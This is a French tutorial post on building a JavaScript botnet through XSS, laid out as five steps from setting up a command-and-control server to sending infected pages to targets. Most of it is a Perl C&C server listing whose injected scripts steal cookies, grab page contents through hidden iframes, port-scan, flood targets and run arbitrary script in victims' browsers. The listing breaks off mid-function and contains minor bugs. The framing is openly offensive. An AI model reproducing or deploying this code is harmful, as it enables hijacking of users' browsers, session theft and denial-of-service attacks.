Après avoir créé un “keylogger” en Javascript nous allons grâce à “XSS Payloads” construire notre premier “botnet” en Javascript.
On identifie 5 étapes nous permettant de créer notre premier réseau “botnet”:
- Installer notre serveur C&C
- Trouver un site web avec une faille XSS
- Injecter le “payload” XSS dans cette page web
- Envoyer la page web infectée à nos cibles
- Et attendre que les utilisateurs cliquent pour prendre la main sur leur browser
Phase I: le serveur C&C
On trouve le code Perl de notre serveur C&C sur le site de “XSS Payloads”:
1: #!/usr/bin/perl
2:
3: use IO::Socket;
4:
5: # Autoflush
6: $| = 1;
7:
8: ######### Global Variables
9: my $VERSION = "1.0";
10:
11: my %ARGS = (
12: "PORT" => 80, # Server listening port
13: "DEBUG" => 0, # Debug mode
14: "VERBOSE" => 0, # Verbose mode
15: "ADMIN" => "/admin", # Admin URI
16: "INJECT" => "/inject", # Injection URI
17: "SYNC" => "/sync", # Sync URI
18: "FATHER" => "", # Referer IP:port:sync (194.98.65.65:81:/sync)
19: "LOGIN" => "admin", # Admin login
20: "PASSWORD" => "admin", # Admin password
21: "HEARTBEAT" => 6500, # Bot connection timer
22: "LOADTIMER" => 12000, # Page loading time
23: "SESSION" => "sessionID", # Session management argument
24: "LOCALIP" => "", # Local IP
25: "REMOTEIP" => "", # Reachable IP address (useful fort NAT)
26: "BOTSESSION"=> "botSessionID", # Bot session management argument
27:
28: );
29:
30: my $ERROR = 0;
31: my $SERVER;
32: my %ADMIN_SESSION;
33: my %CLIENTS;
34: my %SESSIONS;
35: my %ADMIN_SESSION;
36: my @OPERATIONS;
37: my @AUTOACTION = ("Idle",'');
38: my @PEERS;
39: my %SERVERS;
40: my $SYNC_DELAY = 300;
41:
42:
43: my %HTTP_RESPONSE = (
44: "200" => "OK",
45: "404" => "FILE NOT FOUND",
46: );
47:
48: my %ACTIONS = (
49: "Idle" => ["Waiting for commands",\&actionIdle],
50: "Redirect" => ["Redirect Client",\&actionRedirect],
51: "Alert" => ["Say Hello",\&actionAlert],
52: "Custom" => ["Write your script",\&actionCustom],
53: "Portscan" => ["Params: \<target\> \<port\> \[timeout\]",\&actionPortscan],
54: "Flood" => ["Kill target. This is bad.",\&actionFlood],
55: "Cookies" => ["Steal cookies",\&actionCookies],
56: "GetPage" => ["Download page HTML code",\&actionGetPage],
57: );
58:
59: ##################### Main Function Path ###########################
60:
61: ######### STEP 1: Get command line args and set global variables;
62: if(!&getCLIargs(\@ARGV)) {
63: &displayUsage();
64: $ERROR = 1;
65: }
66:
67: my %FUNCTIONS = (
68: $ARGS{"ADMIN"} => \&adminPage,
69: $ARGS{"INJECT"} => \&injectPage,
70: "*" => \&defaultPage,
71: );
72:
73: ## Debug Mode
74: if($ARGS{"DEBUG"} == 1) { print "\n>> Debug mode <<\n\n"; }
75: if($ARGS{"DEBUG"} == 2) { print "\n>> HEAVY Debug mode <<\n\n"; use Data::Dumper; }
76: ##
77:
78: ## Print banner
79: if($ARGS{"VERBOSE"}) {
80: print "\n";
81: print "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n";
82: print "!!!!! Welcome on XSS-BOT !!!!!\n";
83: print "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n";
84: print "\n";
85: }
86:
87: if($ARGS{"VERBOSE"}) {
88: print "Launch Options\n";
89: print "--------------\n";
90: while(my($arg,$value) = each(%ARGS)) {
91: if($arg ne "LOCALIP") {
92: print $arg." "x(25-length($arg))."= ".$value."\n";
93: }
94: }
95: print "\n";
96: }
97:
98: if($ARGS{"FATHER"}) {
99: my @peer = split(/:/,$ARGS{"FATHER"});
100: $PEERS{$peer[0]} = \@peer;
101: }
102:
103: ######### STEP 1: End.
104:
105: ######### STEP 2: Sync setup
106:
107: &feedInitialPeer();
108:
109: ######### STEP 2: End.
110:
111: ######### STEP 3: Launch Web Server
112: if(!$ERROR) {
113: if(!&launchWebServer()) {
114: $ERROR = 1;
115: }
116: }
117:
118: ######### STEP 3: End.
119:
120: ######### STEP 4: Main Loop
121: if(!$ERROR) {
122: if(!&startListener()) {
123: $ERROR = 1;
124: }
125: }
126: ######### STEP 4: End.
127:
128:
129: ## Debug
130: if($ERROR && $ARGS{"DEBUG"}) { "Exiting on error. Too bad.\n"; }
131: ##
132: if(!$ERROR && $ARGS{"VERBOSE"}) { "Exiting.\n"; }
133:
134: ##############################################################
135:
136: ##### STEP 1 Functions - Start ######
137: sub getCLIargs() {
138:
139: my ($argv_ref) = @_;
140:
141: my $error = 0;
142: my $return_val = 1;
143:
144: if($#ARGV >= 0) {
145: foreach my $arg(@$argv_ref) {
146: if(!($arg =~ /^-/)) {
147: $error = 1;
148: } else {
149: $arg =~ s/^--?(.*)$/$1/;
150: if($arg =~ /^p(?:ort)?=(\d+)$/) { # Listening port
151: $ARGS{"PORT"} = $1;
152: } elsif($arg =~ /^d(?:ebug)?$/) { # Debug mode
153: $ARGS{"DEBUG"} += 1;
154: $ARGS{"VERBOSE"} = 1; # Setting verbose mode as well
155: } elsif($arg =~ /^v(?:erbose)?$/) { # Verbose mode
156: $ARGS{"VERBOSE"} = 1;
157: } elsif($arg =~ /^a(?:dmin)?=(\S+)$/) { # Admin URI
158: $ARGS{"ADMIN"} = $1;
159: } elsif($arg =~ /^i(?:nject)?=(\S+)$/) { # Injection URI
160: $ARGS{"INJECT"} = $1;
161: } elsif($arg =~ /^(?:y|sync)=(.*)$/) { # Sync URI
162: $ARGS{"SYNC"} = $1;
163: } elsif($arg =~ /^f(?:ather)?=(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d+:.*)$/) { # Referer for initial sync
164: $ARGS{"FATHER"} = $1;
165: } elsif($arg =~ /^l(?:ogin)?=(.*)$/) { # Admin login
166: $ARGS{"LOGIN"} = $1;
167: } elsif($arg =~ /^(?:w|password)=(.*)$/) { # Admin password
168: $ARGS{"PASSWORD"} = $1;
169: } elsif($arg =~ /^h(?:eartbeat)?=(\d+)$/) { # Bot connection timer
170: $ARGS{"HEARTBEAT"} = $1;
171: } elsif($arg =~ /^s(?:ession)?=([a-zA-Z0-9]+)$/) { # Session management argument
172: $ARGS{"SESSION"} = $1;
173: } elsif($arg =~ /^b(?:otession)?=([a-zA-Z0-9]+)$/) { # Bot session management argument
174: $ARGS{"BOTSESSION"} = $1;
175: } elsif($arg =~ /^r(?:emoteip)?=(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/) { # remotely accessible ip
176: $ARGS{"REMOTEIP"} = $1;
177: #} elsif($arg =~ /^(?:t|loadtimer)=(.*)$/) { # Page loading time
178: # $ARGS{"LOADTIMER"} = $1;
179: } else {
180: $error = 1;
181: }
182: }
183: }
184: }
185:
186: if($error) {
187: $return_val = 0;
188: }
189:
190: return $return_val;
191:
192: }
193: ##### STEP 1 Functions - END ######
194:
195: ##### STEP 2 Functions - START ####
196:
197: sub feedInitialPeer {
198:
199: my ($father_ip,$father_port,$father_sync_uri) = split(/:/,$ARGS{"FATHER"});
200:
201: my $return_value = &feedPeer($father_ip,$father_port,$father_sync_uri);
202:
203: return $return_value;
204:
205: }
206:
207: sub feedPeer {
208:
209: my ($sync_ip,$sync_port,$sync_uri) = @_;
210:
211: my $return_value = 1;
212:
213: use IO::Socket;
214: my $sync_sock = IO::Socket::INET->new (
215: PeerAddr => $sync_ip,
216: PeerPort => $sync_port,
217: Proto => 'tcp',
218: );
219:
220: if(!$sync_sock) {
221: if(defined($PEERS{$sync_ip})) { # A peer is now down
222: delete $PEERS{$sync_ip};
223: }
224: $error = 1;
225: } else {
226: print $syn_sock "GET ".$sync_uri." HTTP/1.0";
227: my $line;
228: while ($line = <$sock>) {
229: chomp($line);
230: if(my @peer = $line =~ /^([^:]+):([^:]+):([^:]+):([^:]+):([^:]+):([^:]+):([^:]+)/) { # @peer = (ip,port,sync_uri,admin_uri,inject_uri,sessionID,botSessuionID)
231: $PEERS{$peer[0]} = \@peer;
232: }
233: }
234:
235: close($sync_sock);
236:
237: }
238:
239: if($error) {
240: $return_value = 0;
241: }
242:
243: return $return_value;
244:
245:
246:
247: }
248:
249: ##### STEP 2 Functions - END ######
250:
251: ##### STEP 3 Functions - START ####
252:
253: sub syncWithPeers {
254:
255: while(my($peer_ip,$peer_data) = each(%PEERS)) {
256: &feedPeer($peer_ip,$peer_data->[1],$peer_data->[2]);
257: }
258:
259: }
260:
261: sub launchWebServer {
262:
263: my $error = 0;
264: my $return_value = 1;
265:
266: $SERVER = IO::Socket::INET->new(
267: Proto => 'tcp',
268: LocalPort => $ARGS{"PORT"},
269: Listen => SOMAXCONN,
270: Reuse => 1
271: );
272:
273: if(!$SERVER) {
274: $error = 1;
275: } else {
276: $mysockaddr = getsockname($SERVER);
277: my($port, $myaddr) = sockaddr_in($mysockaddr);
278: $ARGS{"LOCALIP"} = scalar gethostbyaddr($myaddr, AF_INET);
279: if(!$ARGS{"REMOTEIP"}) {
280: $ARGS{"REMOTEIP"} = $ARGS{"LOCALIP"};
281: }
282: }
283:
284: ## Debug
285: if(!$error && $ARGS{"DEBUG"}) { print("Server listening on ".$ARGS{"LOCALIP"}." on port ".$ARGS{"PORT"}."\n"); print("Admin URI is ".$ARGS{"ADMIN"}."\n"); }
286: ##
287:
288: if($error && $ARGS{"VERBOSE"}) { print("Error launching server\n"); }
289:
290: if($error) {
291: $return_value = 0;
292: }
293:
294: return $return_value;
295: }
296:
297: ##### STEP 3 Functions - END ######
298:
299: ##### STEP 4 Functions - START ####
300:
301: sub startListener {
302:
303: my $error = 0;
304: my $return_value = 1;
305:
306: my $previous = time();
307:
308: while (my $client = $SERVER->accept()) {
309:
310: if(time()-$previous > $SYNC_DELAY) {
311: &syncWithPeers();
312: $previous = time();
313: }
314:
315: my %client;
316: $client->autoflush(1);
317: $client{"request"} = <$client>;
318: chomp($client{"request"});
319:
320: my $source = getpeername($client);
321: my ($iport, $iaddr) = unpack_sockaddr_in($source);
322: $client{"port"} = $iport;
323: $client{"ip"} = inet_ntoa($iaddr);
324:
325: if($ARGS{"VERBOSE"}) { print($client{"ip"}." connected - Request: ".$client{"request"}."\n"); }
326:
327: my @request;
328: &parseRequest(\@request,\%client);
329: if(defined($request[1]->[1]->{$ARGS{"SESSION"}})) {
330: $client{"session"} = $request[1]->[1]->{$ARGS{"SESSION"}};
331: }
332:
333: ## Debug (heavy)
334: if($ARGS{"DEBUG"} == 2) { print "Request Array\n"; print Dumper(@request); }
335: ##
336:
337: &setClientSession(\%client);
338:
339: ## Debug (heavy)
340: if($ARGS{"DEBUG"} == 2) { print "Clients Hash\n"; print Dumper(%CLIENTS); print "Sessions hash\n"; print Dumper(%SESSIONS); print "Operations Array\n"; print Dumper(@OPERATIONS); print "AutoAction Array\n"; print Dumper(@AUTOACTION);}
341: ##
342:
343: if(!defined($FUNCTIONS{$request[1]->[0]})) {
344: &{$FUNCTIONS{"*"}} ($client,\%client,\@request);
345: } else {
346: &{$FUNCTIONS{$request[1]->[0]}} ($client,\%client,\@request);
347: }
348:
349: close($client);
350:
351: }
352:
353: return $return_value;
354:
355: }
356:
357: sub parseRequest {
358:
359: my($line_ref,$client_ref) = @_;
360:
361: my $request = $client_ref->{"request"};
362:
363: my %arguments;
364: my @uri;
365:
366: my($method,$uri,$protocol) = split(/ /,$request);
367: my ($resource,$arguments) = split(/\?/,$uri);
368: my @arguments = split(/\&/,$arguments);
369:
370: foreach my $arg(@arguments) {
371: my($name,$value) = split(/=/,$arg);
372: $arguments{$name} = $value;
373: }
374:
375: @uri = ($resource,\%arguments);
376: $line_ref->[0] = $method;
377: $line_ref->[1] = \@uri;
378: $line_ref->[2] = $protocol;
379:
380: }
381:
382: sub setClientSession {
383:
384: my ($client_ref) = @_;
385:
386: my $ip = $client_ref->{"ip"};
387: my $request = $client_ref->{"request"};
388: my $time = time();
389: my $sessionID = $client_ref->{"session"};
390: if(!$sessionID) {
391: $sessionID = &getSessionID();
392: $client_ref->{"session"} = $sessionID;
393: }
394:
395: if($ARGS{"DEBUG"}) { print "Session ID : $sessionID\n"; }
396:
397: my @request = ($time,$request);
398:
399: if(!defined($CLIENTS{$ip})) { # New client, building the full data structure
400: my @requests = (\@request);
401: my @session = ($sessionID,\@requests);
402:
403: $CLIENTS{$ip} = \@session;
404: my @action = ("Idle",'');
405: $SESSIONS{$sessionID}= \@action;
406: } else { # Existing client
407: if($CLIENTS{$ip}->[0] eq $sessionID) { # Current session
408: if($#{$CLIENTS{$ip}->[1]} >= 10) {
409: pop(@{$CLIENTS{$ip}->[1]});
410: }
411: unshift(@{$CLIENTS{$ip}->[1]},\@request);
412: } else { # New session
413: delete $SESSIONS{$CLIENTS{$ip}->[0]};
414: my @requests = (\@request);
415: my @session = ($sessionID,\@requests);
416:
417: $CLIENTS{$ip} = \@session;
418: my @action = ("Idle",'');
419: $SESSIONS{$sessionID}= \@action;
420: }
421: }
422: }
423:
424: ##### STEP 4 Functions - END ######
425:
426: ##### Web Server Functions - START ##
427:
428: ##### Admin & Control Pages - START #####
429: sub adminPage {
430:
431: my ($c_socket,$client_ref,$request_ref) = @_;
432:
433: if($request_ref->[1]->[1]->{"login"} eq $ARGS{"LOGIN"} # Successful login
434: && $request_ref->[1]->[1]->{"password"} eq $ARGS{"PASSWORD"} ) { #
435:
436: # Set admin session parameters
437: $ADMIN_SESSION{"sessionID"}=$client_ref->{"session"};
438: $ADMIN_SESSION{"ip"}=$client_ref->{"ip"};
439: $ADMIN_SESSION{"time"}=$client_ref->{"time"};
440: }
441:
442: if($ADMIN_SESSION{"sessionID"} eq $client_ref->{"session"}
443: && $ADMIN_SESSION{"ip"} eq $client_ref->{"ip"}
444: && $ADMIN_SESSION{"time"} > ($client_ref->{"time"} - 300)) {
445:
446: &controlPage($c_socket,$client_ref,$request_ref);
447:
448: } else {
449:
450: my $response;
451: $response .= genHeader("200","text/html");
452:
453: $response .= "<HTML>"."\n";
454: $response .= "<HEAD></HEAD>"."\n";
455:
456: $response .= "<BODY>"."\n";
457: $response .= "<PRE>"."\n";
458: $response .= "<FORM NAME=\"login\" ACTION=\"".$ARGS{"ADMIN"}."\" METHOD=\"get\">"."\n";
459: $response .= "Login: <INPUT TYPE=\"text\" name=\"login\">"."\n";
460: $response .= "Pass : <INPUT TYPE =\"password\" name=\"password\">"."\n";
461: $response .= "<INPUT TYPE=\"hidden\" name=\"".$ARGS{"SESSION"}."\" value=\"".$client_ref->{"session"}."\">"."\n";
462: $response .= "<INPUT TYPE=\"submit\" value=\"login\">"."\n";
463: $response .= "</FORM>"."\n";
464:
465: $response .= "</PRE>"."\n";
466: $response .= "</BODY>"."\n";
467: $response .= "</HTML>\n";
468: print $c_socket $response;
469:
470: }
471: }
472:
473: sub controlPage {
474:
475: my ($c_socket,$client_ref,$request_ref) = @_;
476:
477: #### Apply selected action (if any)
478: if(defined($request_ref->[1]->[1]->{"action"})
479: && defined($request_ref->[1]->[1]->{$ARGS{"BOTSESSION"}})) {
480: my $action = $request_ref->[1]->[1]->{"action"};
481: my $botSessionID = $request_ref->[1]->[1]->{$ARGS{"BOTSESSION"}};
482: my $params;
483: if(defined($request_ref->[1]->[1]->{"params"})) {
484: $params = $request_ref->[1]->[1]->{"params"};
485: }
486:
487: if(defined($ACTIONS{$action})) {
488: $SESSIONS{$botSessionID}->[0] = $action;
489: $SESSIONS{$botSessionID}->[1] = $params;
490: }
491: }
492:
493: #### Sets default action
494: if(defined($request_ref->[1]->[1]->{"autoAction"})) {
495: my $autoAction = $request_ref->[1]->[1]->{"autoAction"};
496: my $autoParams;
497: if(defined($request_ref->[1]->[1]->{"autoParams"})) {
498: $autoParams = $request_ref->[1]->[1]->{"autoParams"};
499: }
500:
501: if(defined($ACTIONS{$autoAction})) {
502: $AUTOACTION[0] = $autoAction;
503: $AUTOACTION[1] = $autoParams;
504: }
505: }
506:
507:
508: #### Display currently connected bots status
509: my %bots;
510: my $current_params;
511: my $current_action;
512:
513: my $response;
514: $response .= genHeader("200","text/html");
515:
516: $response .= "<HTML>"."\n";
517: $response .= "<HEAD>"."\n";
518: $response .= "<SCRIPT TYPE=\"text/javascript\">"."\n";
519: $response .= "function changeAction(actionField) {"."\n";
520: $response .= " var aTypeId;"."\n";
521: $response .= " var aDescId;"."\n";
522: $response .= " if(actionField == 'action') {"."\n";
523: $response .= " aTypeId = 'action';"."\n";
524: $response .= " aDescId = 'actionDesc';"."\n";
525: $response .= " } else if(actionField == 'autoAction') {"."\n";
526: $response .= " aTypeId = 'autoAction';"."\n";
527: $response .= " aDescId = 'autoActionDesc';"."\n";
528: $response .= " };"."\n";
529: $response .= " var aValue = document.getElementById(aTypeId).value; "."\n";
530:
531:
532: while(my($action,$details_ref) = each(%ACTIONS)) {
533: my $description = $details_ref->[0];
534: $response .= " if(aValue == '".$action."') {"."\n";
535: $response .= " document.getElementById(aDescId).innerHTML='".$description."';"."\n";
536: $response .= " }";
537: }
538: $response .= "}"."\n";
539:
540: $response .= "</SCRIPT>"."\n";
541: $response .= "</HEAD>"."\n";
542:
543: $response .= "<BODY>"."\n";
544: $response .= "<PRE>"."\n";
545:
546:
547:
548:
549: $response .= ">>> Tostaky Botnet Control Center <<<"."\n";
550:
551: $response .= " <A HREF=\"".$ARGS{"ADMIN"}."?".$ARGS{"SESSION"}."=".$client_ref->{"session"}."\">refresh</A>"."\n";
552: $response .= "\n";
553: $response .= "\n";
554: $response .= "+++ Active Sessions List +++"."\n";
555: $response .= "\n";
556:
557: $response .= "+---- Bot IP -----+---- Action ----+---- Params ---->"."\n";
558:
559: while(my($ip,$session_ref) = each(%CLIENTS)) {
560: ## Debug (Heavy)
561: if($ARGS{"DEBUG"} == 2) { print "now = ".time()." - last = ".$session_ref->[1]->[0]->[0]." - Timeout = ".((int($ARGS{"HEARTBEAT"}/1000))+1)."\n"; }
562: ##
563: if($session_ref->[0] ne $ADMIN_SESSION{"sessionID"}
564: && $session_ref->[1]->[0]->[0] >= (time() - 2*(int($ARGS{"HEARTBEAT"}/1000)+2))) {
565:
566: $bots{$ip} = $CLIENTS{$ip}->[0];
567:
568: my $current_action = "Idle";
569: my $current_params = "";
570:
571: if($SESSIONS{$CLIENTS{$ip}->[0]}->[0]) {
572: $current_action = $SESSIONS{$CLIENTS{$ip}->[0]}->[0];
573: }
574: $response .= "| ".$ip." "x(16-length($ip));
575: $response .= "| ".$current_action." "x(15-length($current_action));
576: if($SESSIONS{$CLIENTS{$ip}->[0]}->[1]) {
577: $current_params = $SESSIONS{$CLIENTS{$ip}->[0]}->[1];
578: }
579: my $nice_params = &URLDecode($current_params);
580: $nice_params =~ s/\+/ /g;
581: $response .= "| ".$nice_params;
582: $response .= "\n";
583:
584: }
585: }
586:
587: $response .= "+-----------------+----------------+---------------->"."\n";
588:
589: $response .= "\n";
590: $response .= "\n";
591:
592: #### Actions
593: # Automated
594: $response .= "+++++ Automated Action +++++"."\n";
595: $response .= "\n";
596:
597: $response .= "</PRE>"."\n";
598: $response .= "<FORM NAME=\"automation\" ACTION=\"".$ARGS{"ADMIN"}."\" METHOD=\"get\">"."\n";
599: $response .= "<INPUT TYPE=\"hidden\" name=\"".$ARGS{"SESSION"}."\" value=\"".$client_ref->{"session"}."\">"."\n";
600:
601: $response .= "<SELECT NAME=\"autoAction\" ID=\"autoAction\" onChange=\"changeAction('autoAction')\">"."\n";
602: my $actionDescription;
603: foreach my $action(keys %ACTIONS) {
604: if($action eq $AUTOACTION[0]) {
605: $actionDescription = $ACTIONS{$AUTOACTION[0]}->[0];
606: $response .= "<OPTION VALUE=\"".$action."\" SELECTED=\"selected\">".$action."</OPTION> "."\n";
607: } else {
608: $response .= "<OPTION VALUE=\"".$action."\">".$action."</OPTION> "."\n";
609: }
610: }
611: $response .= "</SELECT>"."\n";
612:
613: $response .= "<INPUT TYPE=\"text\" NAME=\"autoParams\" VALUE=\"".&URLDecode($AUTOACTION[1])."\">"."\n";
614:
615:
616:
617: $response .= "<INPUT TYPE=\"submit\" value=\"Change that\">"."\n";
618: $response .= "</FORM>"."\n";
619:
620: $response .= "<PRE>"."\n";
621: $response .= "<DIV ID=\"autoActionDesc\">".$actionDescription."</DIV>"."\n";
622:
623:
624:
625: # One shot
626: $response .= "+++++++ Take Control +++++++"."\n";
627: $response .= "\n";
628:
629: $response .= "</PRE>"."\n";
630: $response .= "<FORM NAME=\"control\" ACTION=\"".$ARGS{"ADMIN"}."\" METHOD=\"get\">"."\n";
631: $response .= "<INPUT TYPE=\"hidden\" name=\"".$ARGS{"SESSION"}."\" value=\"".$client_ref->{"session"}."\">"."\n";
632:
633: $response .= "<SELECT NAME=\"".$ARGS{"BOTSESSION"}."\">"."\n";
634: while(my($bot_ip,$bot_session) = each (%bots)) {
635: $response .= "<OPTION VALUE=\"".$bot_session."\">".$bot_ip."</OPTION>"."\n";
636: }
637: $response .= "</SELECT>"."\n";
638:
639: $response .= "<SELECT NAME=\"action\" ID=\"action\" onChange=\"changeAction('action')\">"."\n";
640: my $actionCount = 0;
641: my $actionDescription;
642: foreach my $action(keys %ACTIONS) {
643: if(!$actionCount) {
644: $actionDescription = $ACTIONS{$action}->[0];
645: $response .= "<OPTION VALUE=\"".$action."\" SELECTED=\"selected\">".$action."</OPTION> "."\n";
646: } else {
647: $response .= "<OPTION VALUE=\"".$action."\">".$action."</OPTION> "."\n";
648: }
649: $actionCount++;
650: }
651: $response .= "</SELECT>"."\n";
652:
653: $response .= "<INPUT TYPE=\"text\" NAME=\"params\">"."\n";
654:
655:
656:
657: $response .= "<INPUT TYPE=\"submit\" value=\"Let\'s Go\">"."\n";
658: $response .= "</FORM>"."\n";
659:
660: $response .= "<PRE>"."\n";
661: $response .= "<DIV ID=\"actionDesc\">".$actionDescription."</DIV>"."\n";
662:
663:
664:
665:
666: #### Responses
667: $response .= "++++++ Bots Responses ++++++"."\n";
668: $response .= "\n";
669:
670: foreach my $operation_ref(@OPERATIONS) {
671: my @operation = @$operation_ref;
672: my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime($operation[0]);
673:
674: $mon += 1;
675: $mon = "0"x(2-length($mon)).$mon;
676: $mday = "0"x(2-length($mday)).$mday;
677: $hour = "0"x(2-length($hour)).$hour;
678: $min = "0"x(2-length($min)).$min;
679: $sec = "0"x(2-length($sec)).$sec;
680:
681: $response .= $mon."-".$mday." ".$hour.":".$min.":".$sec;
682: $response .= " -> ";
683: $response .= $operation[1];
684: $response .= " : ";
685:
686: my $response_content = URLDecode($operation[2]);
687: $response_content =~ s/</\</g;
688: $response_content =~ s/>/\>/g;
689:
690: $response .= $response_content;
691: $response .= "\n";
692: }
693:
694: $response .= "</PRE>"."\n";
695:
696: $response .= "</BODY>"."\n";
697: $response .= "</HTML>\n";
698:
699: print $c_socket $response;
700:
701: }
702:
703: ##### Admin & Control Pages - END #####
704:
705: ##### Injection Pages - START #######
706:
707: sub injectPage {
708:
709: my ($c_socket,$client_ref,$request_ref) = @_;
710:
711: my $botSessionID = $client_ref->{"session"};
712:
713: my $response;
714: $response .= &genHeader("200","text/plain");
715:
716: if(!$request_ref->[1]->[1]->{$ARGS{"SESSION"}}) { # New bot session
717:
718: # Injecting Session Initializatin Script
719: $response .= initSessionCode($botSessionID);
720: $response .= &{$ACTIONS{$AUTOACTION[0]}->[1]}($AUTOACTION[1]);
721: $SESSIONS{$botSessionID}->[0] = $AUTOACTION[0];
722: $SESSIONS{$botSessionID}->[1] = $AUTOACTION[1];
723:
724: } else {
725:
726: if(defined($ACTIONS{$SESSIONS{$botSessionID}->[0]}) && $SESSIONS{$botSessionID}->[0] ne "Idle") {
727: $response .= &{$ACTIONS{$SESSIONS{$botSessionID}->[0]}->[1]}($SESSIONS{$botSessionID}->[1]);
728: }
729:
730: if(defined($request_ref->[1]->[1]->{"return"})) {
731: my @operation = (time(),$client_ref->{"ip"},$request_ref->[1]->[1]->{"return"});
732: unshift(@OPERATIONS,\@operation);
733: }
734:
735: }
736:
737: print $c_socket $response;
738:
739: if(defined($ACTIONS{$SESSIONS{$botSessionID}->[0]}) &&
740: ( $SESSIONS{$botSessionID}->[0] eq "Custom"
741: || $SESSIONS{$botSessionID}->[0] eq "Alert"
742: || $SESSIONS{$botSessionID}->[0] eq "Portscan"
743: || $SESSIONS{$botSessionID}->[0] eq "GetPage")
744: ) {
745: $SESSIONS{$botSessionID}->[0] = "Idle";
746: $SESSIONS{$botSessionID}->[1] = '';
747: }
748:
749: }
750:
751: ##### Injection Pages - END #########
752:
753:
754:
755: ##### Injection Scripts - START #######
756:
757: sub initSessionCode {
758:
759: my ($sessionID) = @_;
760:
761: my $script_code;
762:
763: $script_code .= "function connectCC(retval) {"."\n";
764: $script_code .= " var URL= 'http://".$ARGS{"REMOTEIP"}.":".$ARGS{"PORT"}.$ARGS{"INJECT"}."?".$ARGS{"SESSION"}."=".$sessionID."';"."\n";
765: $script_code .= " if(retval) { URL = URL+'\&return='+retval; } "."\n";
766: $script_code .= " var scriptTag = document.getElementById('loadScript');"."\n";
767: $script_code .= " var head = document.getElementsByTagName('head').item(0);"."\n";
768: $script_code .= " if(scriptTag) head.removeChild(scriptTag);"."\n";
769: $script_code .= " script = document.createElement('script');"."\n";
770: $script_code .= " script.src = URL;"."\n";
771: $script_code .= " script.type = 'text/javascript';"."\n";
772: $script_code .= " script.id = 'loadScript';"."\n";
773: $script_code .= " head.appendChild(script);"."\n";
774: $script_code .= "}"."\n";
775: $script_code .= "var sessionID='".$sessionID."';"."\n";
776: $script_code .= "setInterval('connectCC()',".$ARGS{"HEARTBEAT"}.");"."\n";
777:
778:
779: return $script_code;
780:
781: }
782:
783: sub actionRedirect {
784:
785: my ($params) = @_;
786:
787: my $code;
788:
789: $code .= "var returnValue = window.location='".&URLDecode($params)."';\n";
790:
791: return $code;
792:
793: }
794:
795: sub actionAlert {
796:
797: my ($params) = @_;
798:
799: my $code;
800:
801: $code .= "var returnValue = alert('".$params."');\n";
802:
803: return $code;
804:
805: }
806:
807: sub actionCustom {
808:
809: my ($params) = @_;
810:
811: my $code;
812:
813: $code .= "var returnValue = ".&URLDecode($params).";\n";
814: $code .= "connectCC(returnValue);"."\n";
815:
816: return $code;
817:
818: }
819:
820: sub actionPortscan {
821:
822: my ($params) = @_;
823: my ($target,$port,$timeout) = split(/\+/,$params);
824:
825: if(!$timeout) { $timeout = 100; }
826:
827: my $code;
828:
829: $code .= "var img = new Image();"."\n";
830: $code .= "var open = 0;"."\n";
831: $code .= "img.onerror = function () { open = 1; };"."\n";
832: $code .= "img.onload = img.onerror;"."\n";
833: $code .= "img.src = 'http://' + '".$target."' + ':' + '".$port."';"."\n";
834: $code .= "setTimeout(function () {"."\n";
835: $code .= " if (open) { connectCC(\'".$target."/".$port.":open\'); }"."\n";
836: $code .= " else { connectCC(\'".$target."/".$port.":closed\'); }"."\n";
837: $code .= "}, ".$timeout.");"."\n";
838:
839: return $code;
840:
841: };
842:
843: sub actionFlood {
844:
845: my ($params) = @_;
846:
847: my $code;
848:
849: $code .= "function flood() {"."\n";
850: $code .= " var img = new Image();"."\n";
851: $code .= " img.src = '".&URLDecode($params)."';"."\n";
852: $code .= " img.onload;"."\n";
853: $code .= "}"."\n";
854: $code .= "var floodInterval = setInterval('flood()',50);"."\n";
855: $code .= "setTimeout(function() { clearInterval(floodInterval); },".($ARGS{"HEARTBEAT"}-500).");"."\n";
856:
857: return $code;
858:
859: }
860:
861: sub actionCookies {
862:
863: my ($params) = @_;
864:
865: my $code;
866:
867: $code .= "var returnValue = document.cookie,".";\n";
868: $code .= "connectCC(returnValue);"."\n";
869:
870: return $code;
871:
872: }
873:
874: sub actionIdle {
875:
876: my ($params) = @_;
877:
878: ;
879:
880: }
881:
882: ## ABORTED. For now...
883: #
884:
885: sub actionGetPage {
886:
887: my ($params) = @_;
888:
889: my $code;
890:
891: $code .= "function sendContent() {"."\n";
892: $code .= " var targetContent = window.frames['grabFrame'].document.body.innerHTML;"."\n";
893: $code .= " connectCC(targetContent);"."\n";
894: $code .= "}"."\n";
895: $code .= "var iframeTag = document.getElementById('grabFrame');"."\n";
896: $code .= "if(iframeTag) { document.body.removeChild(iframeTag); }"."\n";
897: $code .= "var iframeObj = document.createElement('IFRAME');"."\n";
898: $code .= "iframeObj.src = '".&URLDecode($params)."';"."\n";
899: $code .= "iframeObj.name = 'grabFrame';"."\n";
900: $code .= "iframeObj.id = 'grabFrame';"."\n";
901: $code .= "iframeObj.height=0;"."\n";
902: $code .= "iframeObj.width=0;"."\n";
903: $code .= "document.body.appendChild(iframeObj);"."\n";
904: $code .= "var targetContent = window.frames['grabFrame'].document.body.innerHTML;"."\n";
905: $code .= "if(targetContent == null) {"."\n";
906: $code .= " targetContent = document.getElementById('grabFrame').contentDocument.body.innerHTML;"."\n";
907: $code .= "}"."\n";
908:
909: #$code .= "alert(targetContent);"."\n";
910: #$code .= " connectCC(targetContent);"."\n";
911: $code .= "setTimeout(\"connectCC(targetContent)\",".$ARGS{"LOADTIMER"}.");"."\n";
912: #$code .= "setTimeout(\"alert(targetContent)\",".$ARGS{"LOADTIMER"}.");"."\n";
913:
914: ;
915:
916: }
917:
918: #
919: ## But I will be back...
920:
921: ##### Injection Scripts - END #########
922:
923: ##### Default Page #####
924: sub defaultPage {
925:
926: my ($c_socket,$client_ref,$request_ref) = @_;
927:
928: my $response;
929: $response .= genHeader("200","text/html");
930: $response .= "\n";
931: $response .= "<HTML><HEAD></HEAD><BODY>You should probably not be here...</BODY></HTML>\n";
932: print $c_socket $response;
933:
934:
935: }
936:
937:
938:
939: sub genHeader {
940:
941: my ($response_code,$response_type) = @_;
942:
943: my $response_text = $HTTP_RESPONSE{$response_code};
944:
945: my $header;
946:
947: $header = "HTTP/1.1 $response_code $response_text\n";
948: $header .= "Content-Type: $response_type\n";
